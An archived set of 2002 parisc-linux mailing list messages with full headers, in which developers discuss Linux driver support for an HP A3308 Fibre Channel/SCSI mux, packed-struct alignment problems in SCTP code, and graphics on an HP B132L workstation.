I recently purchased a SCSI bridge (4/2 A3308) thinking I could use this
with Linux but when I tried I found that it requires a driver. I can see
the MUX and all devices connected to it from an HP workstation with the
MUX driver loaded, but I'd really like to use this from Linux.

I'm wondering if anyone is working on a driver for this device and would
it work with x86 as well?

THanks, Mark.



From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] misaligned data
Date: Sun, 29 Dec 2002 22:39:57 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20021230053957.GA30857@dsl2.external.hp.com>
References: <20021228020104.C109D4829@dsl2.external.hp.com> <200212280249.gBS2nIPI002930@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622059 19263 80.91.229.3 (22 Nov 2014 02:07:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 29 22:39:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A307E482A; Sun, 29 Dec 2002 22:39:57 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200212280249.gBS2nIPI002930@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17220

On Fri, Dec 27, 2002 at 09:49:18PM -0500, John David Anglin wrote:
> I'd wonder more about the packed attribute on sctp_init_chunk_t and
> sctp_inithdr_t.  What version of gcc?

sorry...I overlooked the attribute.

gcc version 3.0.4

I don't recall if I tried gcc-3.2.

thanks,
grant


From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian 3.0r0 Hppa on an B132L
Date: Sun, 29 Dec 2002 22:49:34 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20021230054934.GD30857@dsl2.external.hp.com>
References: <00b401c2ae8d$a36719e0$0101a8c0@basse>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622059 19268 80.91.229.3 (22 Nov 2014 02:07:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Arne H. Poulsen" <arne.h.poulsen@post.tele.dk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 29 22:49:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 96C11482A; Sun, 29 Dec 2002 22:49:34 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <00b401c2ae8d$a36719e0$0101a8c0@basse>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17221

On Sat, Dec 28, 2002 at 05:24:46PM +0100, Arne H. Poulsen wrote:
> I am new to this, but I have managed to install the system with the linux
> 2.4.18-pa32 kernel and it seems to be working; nevertheless It is impossible
> to get the graphical system to work.

Hmm...Works For Me (tm). Try the kernels/config files on
	ftp://ftp.parisc-linux.org/kernels/b180

They should work the same if you are using the B132L built-in graphics.

grant


From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A3308 fibre SCSI bridge support
Date: Sun, 29 Dec 2002 23:45:22 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20021230064522.GG30857@dsl2.external.hp.com>
References: <1041195758.2916.30.camel@pc1.mentasm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622060 19269 80.91.229.3 (22 Nov 2014 02:07:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Mark R. Buechler" <mgandalf@mentasm.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 29 23:45:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 68198482A; Sun, 29 Dec 2002 23:45:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1041195758.2916.30.camel@pc1.mentasm.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17222

On Sun, Dec 29, 2002 at 04:02:38PM -0500, Mark R. Buechler wrote:
> I recently purchased a SCSI bridge (4/2 A3308) thinking I could use this
> with Linux but when I tried I found that it requires a driver. I can see
> the MUX and all devices connected to it from an HP workstation with the
> MUX driver loaded, but I'd really like to use this from Linux.

uhm...did you check to see which utilities you might need to manage
and configure the FC/SCSI mux?
http://www.software.hp.com/products/FCMAN/fcm3over.html

BTW, The A3308 usermanual (A3308-96011) is available here:
	http://www.software.hp.com/products/FCMAN/pdf/96011.pdf

> I'm wondering if anyone is working on a driver for this device and would
> it work with x86 as well?

The main FC HBA vendors (except Agilent?) seem to work fine on both x86 and
ia64 (HP ZX1, near cousin to HP PARISC platforms). I would expect them
to work fine on i386/parisc-linux too. I've only had time to play with
Agilent based (tachlite 5100/5166/5200 series) HBAs on parisc.

AFAICT, "FC 4/2 MUX" is only supported under HPUX.
I get the impression one would need to heavily modify an existing
FC driver in order to support the MUX functionality. But I don't
know how the A3308 presents SCSI devices and that will make/break
the support story.

hth,
grant


From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] misaligned data
Date: Mon, 30 Dec 2002 00:15:41 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20021230071541.GI30857@dsl2.external.hp.com>
References: <20021228020104.C109D4829@dsl2.external.hp.com> <200212280249.gBS2nIPI002930@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622060 19271 80.91.229.3 (22 Nov 2014 02:07:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 30 00:15:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C5A96482A; Mon, 30 Dec 2002 00:15:41 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200212280249.gBS2nIPI002930@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17223

On Fri, Dec 27, 2002 at 09:49:18PM -0500, John David Anglin wrote:
...
> > Not sure if it's safe to just pad "struct sctp_cookie" or if something
> > else needs to be done.
> 
> I'd wonder more about the packed attribute on sctp_init_chunk_t and
> sctp_inithdr_t.

I think that's the problem.

I've wimped out and just disabled CONFIG_IP_SCTP.
I really want to chase final problems with 2.4 and get $#@&% XF86
working on the OB600CT again (yes, XF86 4.0 worked, 4.2 does not :^( )


> What version of gcc?

In reflecting on it a bit more, I'm pretty sure I tried gcc-3.2
and came to the same result.
("gcc version 3.2.2 20021212 (Debian prerelease)")

grant



From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Buechler, Mark R" <Mark_R_Buechler@bausch.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] A3308 fibre SCSI bridge support
Date: Mon, 30 Dec 2002 10:13:24 -0500
Lines: 79
Approved: news@gmane.org
Message-ID: <B0E6075E55C7D6119DDE0002A53F8BCE0DE458@blmsrocopc07.bausch.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416622060 19273 80.91.229.3 (22 Nov 2014 02:07:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:40 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: 'Grant Grundler' <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 30 08:13:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blaprocopc08.bausch.com (unknown [161.242.9.34])
	by dsl2.external.hp.com (Postfix) with SMTP id 3C171482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Dec 2002 08:13:38 -0700 (MST)
Original-Received: FROM blaprocopc54.blamericas.bausch.com BY blaprocopc08.bausch.com ; Mon Dec 30 10:14:44 2002 -0500
Original-Received: from Unknown [161.242.23.129] by blaprocopc54.blamericas.bausch.com - SurfControl E-mail Filter (4.5); Monday, 30 December 2002, 10:13:25
Original-Received: by singapore.bausch.com with Internet Mail Service (5.5.2653.19)
	id <ZPCAHSKH>; Mon, 30 Dec 2002 10:13:25 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17224

Configuring the MUX isn't a problem. What I'd like to do is access the SCSI
devices connected to the MUX from Linux. From a Linux host I see the MUX as
a single target. I wouldn't think any changes would be necessary for the FC
driver but rather a separate driver would exist that scans for the MUX and
uses the Linux sg driver to communicate with it.

I've found mention of a SCSI/MUX driver on this mailing list in the archives
but I don't know what MUX they were referring to.

- Mark.

-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Grant
Grundler
Sent: Monday, December 30, 2002 1:45 AM
To: Mark R. Buechler
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] A3308 fibre SCSI bridge support


On Sun, Dec 29, 2002 at 04:02:38PM -0500, Mark R. Buechler wrote:
> I recently purchased a SCSI bridge (4/2 A3308) thinking I could use this
> with Linux but when I tried I found that it requires a driver. I can see
> the MUX and all devices connected to it from an HP workstation with the
> MUX driver loaded, but I'd really like to use this from Linux.

uhm...did you check to see which utilities you might need to manage
and configure the FC/SCSI mux?
http://www.software.hp.com/products/FCMAN/fcm3over.html

BTW, The A3308 usermanual (A3308-96011) is available here:
	http://www.software.hp.com/products/FCMAN/pdf/96011.pdf

> I'm wondering if anyone is working on a driver for this device and would
> it work with x86 as well?

The main FC HBA vendors (except Agilent?) seem to work fine on both x86 and
ia64 (HP ZX1, near cousin to HP PARISC platforms). I would expect them
to work fine on i386/parisc-linux too. I've only had time to play with
Agilent based (tachlite 5100/5166/5200 series) HBAs on parisc.

AFAICT, "FC 4/2 MUX" is only supported under HPUX.
I get the impression one would need to heavily modify an existing
FC driver in order to support the MUX functionality. But I don't
know how the A3308 presents SCSI devices and that will make/break
the support story.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux










EMAIL DISCLAIMER 

Please Note: The information contained in this message may be privileged and
confidential, protected from disclosure, and/or intended only for the use of
the individual or entity named above. If the reader of this message is not
the intended recipient, or an employee or agent responsible for delivering
this message to the intended recipient, you are hereby notified that any
disclosure, distribution, copying or other dissemination of this
communication is strictly prohibited. If you received this communication in
error, please immediately reply to the sender, delete the message and
destroy all copies of it.

Thank You



From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A3308 fibre SCSI bridge support
Date: Mon, 30 Dec 2002 12:43:50 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20021230194350.GE20066@dsl2.external.hp.com>
References: <B0E6075E55C7D6119DDE0002A53F8BCE0DE458@blmsrocopc07.bausch.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622061 19278 80.91.229.3 (22 Nov 2014 02:07:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:41 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Buechler, Mark R" <Mark_R_Buechler@bausch.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 30 12:43:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 6DC87482A; Mon, 30 Dec 2002 12:43:50 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <B0E6075E55C7D6119DDE0002A53F8BCE0DE458@blmsrocopc07.bausch.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17225

On Mon, Dec 30, 2002 at 10:13:24AM -0500, Buechler, Mark R wrote:
> Configuring the MUX isn't a problem.

ok.

> What I'd like to do is access the SCSI
> devices connected to the MUX from Linux. From a Linux host I see the MUX as
> a single target.

Can you copy the output here?
I'm curious how it's reported.

> I wouldn't think any changes would be necessary for the FC
> driver but rather a separate driver would exist that scans for the MUX and
> uses the Linux sg driver to communicate with it.

the sg driver is a passthru interface and doesn't present a "random
access mass storage device" view. sg would be used to configure
the MUX and sd to access the devices behind it.

My point was the existing FC interface drivers already present FC
storage devices (eg disks or arrays) via "sd" driver and don't know how
to talk to devices that aren't "transperent" (ie invisible nodes in the
FC fabric).


From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Buechler, Mark R" <Mark_R_Buechler@bausch.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] A3308 fibre SCSI bridge support
Date: Mon, 30 Dec 2002 14:54:08 -0500
Lines: 130
Approved: news@gmane.org
Message-ID: <B0E6075E55C7D6119DDE0002A53F8BCE0DE45B@blmsrocopc07.bausch.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622061 19281 80.91.229.3 (22 Nov 2014 02:07:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:41 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "'grundler@dsl2.external.hp.com'" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 30 12:54:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blaprocopc08.bausch.com (unknown [161.242.9.34])
	by dsl2.external.hp.com (Postfix) with SMTP id 3C174482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Dec 2002 12:54:17 -0700 (MST)
Original-Received: FROM blaprocopc54.blamericas.bausch.com BY blaprocopc08.bausch.com ; Mon Dec 30 14:55:28 2002 -0500
Original-Received: from Unknown [161.242.23.129] by blaprocopc54.blamericas.bausch.com - SurfControl E-mail Filter (4.5); Monday, 30 December 2002, 14:54:09
Original-Received: by singapore.bausch.com with Internet Mail Service (5.5.2653.19)
	id <ZPCAHYB9>; Mon, 30 Dec 2002 14:54:08 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17226

The only place it shows up is in /proc/scsi/qla2200/1. The target id is 18
(WWN: 50060b000005cc76 I assume since it starts with "50").

-------------------------------------------------------------

QLogic PCI to Fibre Channel Host Adapter for ISP22xx:
        Firmware version:  2.02.03, Driver version 6.01.00
Entry address = c481a060
HBA: QLA2200 , Serial# B56623
Request Queue = 0x3a2c000, Response Queue = 0x3a34000
Request Queue count= 128, Response Queue count= 64
Total number of active commands = 0
Total number of interrupts = 80
Total number of IOCBs (used/max) = (0/600)
Total number of queued commands = 0
    Device queue depth = 0x10
Number of free request entries = 47
Number of mailbox timeouts = 0
Number of ISP aborts = 0
Number of loop resyncs = 0
Number of retries for empty slots = 0
Number of reqs in pending_q= 0, retry_q= 0, done_q= 0, scsi_retry_q= 0
Host adapter:loop state= <READY>, flags= 0x8a0a13
Dpc flags = 0x0
MBX flags = 0x0
SRB Free Count = 4096
Port down retry = 008


SCSI Device Information:
scsi-qla1-adapter-node=200000e08b22cf63;
scsi-qla1-adapter-port=210000e08b22cf63;
scsi-qla1-target-0=20000060b02ac26c;
scsi-qla1-target-1=2100002037843e57;
scsi-qla1-target-2=21000020378437c0;
scsi-qla1-target-3=21000004cf0ef21a;
scsi-qla1-target-4=21000004cf2248d0;
scsi-qla1-target-5=210000203784354b;
scsi-qla1-target-6=2100002037669132;
scsi-qla1-target-7=2100002037843560;
scsi-qla1-target-8=2100002037843cd9;
scsi-qla1-target-9=50060b000005d7b3;
scsi-qla1-target-10=210000203784498c;
scsi-qla1-target-11=21000004cf1b3830;
scsi-qla1-target-12=21000004cf2250b5;
scsi-qla1-target-13=2100002037843e36;
scsi-qla1-target-14=2100002037e7184c;
scsi-qla1-target-15=2100002037843c3c;
scsi-qla1-target-16=210000203766907b;
scsi-qla1-target-17=21000020371ac091;
scsi-qla1-target-18=50060b000005cc76;

SCSI LUN Information:
(Id:Lun)
( 1: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:02,
( 2: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:03,
( 3: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:04,
( 4: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:05,
( 5: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:06,
( 6: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:07,
( 7: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:08,
( 8: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:09,
(10: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:0c,
(11: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:0d,
(12: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:0e,
(13: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:0f,
(14: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:10,
(15: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:11,
(16: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:12,
(17: 0): Total reqs 5, Pending reqs 0, flags 0x0, 1:0:13,

-----Original Message-----
From: grundler@dsl2.external.hp.com
[mailto:grundler@dsl2.external.hp.com]
Sent: Monday, December 30, 2002 2:44 PM
To: Buechler, Mark R
Cc: 'parisc-linux@lists.parisc-linux.org'
Subject: Re: [parisc-linux] A3308 fibre SCSI bridge support


On Mon, Dec 30, 2002 at 10:13:24AM -0500, Buechler, Mark R wrote:
> Configuring the MUX isn't a problem.

ok.

> What I'd like to do is access the SCSI
> devices connected to the MUX from Linux. From a Linux host I see the MUX
as
> a single target.

Can you copy the output here?
I'm curious how it's reported.

> I wouldn't think any changes would be necessary for the FC
> driver but rather a separate driver would exist that scans for the MUX and
> uses the Linux sg driver to communicate with it.

the sg driver is a passthru interface and doesn't present a "random
access mass storage device" view. sg would be used to configure
the MUX and sd to access the devices behind it.

My point was the existing FC interface drivers already present FC
storage devices (eg disks or arrays) via "sd" driver and don't know how
to talk to devices that aren't "transperent" (ie invisible nodes in the
FC fabric).










EMAIL DISCLAIMER 

Please Note: The information contained in this message may be privileged and
confidential, protected from disclosure, and/or intended only for the use of
the individual or entity named above. If the reader of this message is not
the intended recipient, or an employee or agent responsible for delivering
this message to the intended recipient, you are hereby notified that any
disclosure, distribution, copying or other dissemination of this
communication is strictly prohibited. If you received this communication in
error, please immediately reply to the sender, delete the message and
destroy all copies of it.

Thank You



From - Thu Nov 08 21:26:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "X-Pcs.de" <thanks@X-PCs.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Happy new Year !!!!  --X-PCs.de--
Date: Tue, 31 Dec 2002 15:45:19 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <419-2200212231144519812@X-PCs.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622061 19282 80.91.229.3 (22 Nov 2014 02:07:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:41 +0000 (UTC)
To: mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 31 07:45:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Mail2.KONTENT.De (Mail2.KONTENT.De [81.88.34.59])
	by dsl2.external.hp.com (Postfix) with ESMTP id 423C8482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 31 Dec 2002 07:45:45 -0700 (MST)
Original-Received: from X-PCs.de (pD953809D.dip.t-dialin.net [217.83.128.157])
	by Mail2.KONTENT.De (Postfix) with ESMTP id E58972533C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 31 Dec 2002 15:45:28 +0100 (CET)
X-Priority: 1
X-MSMail-Priority: High
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
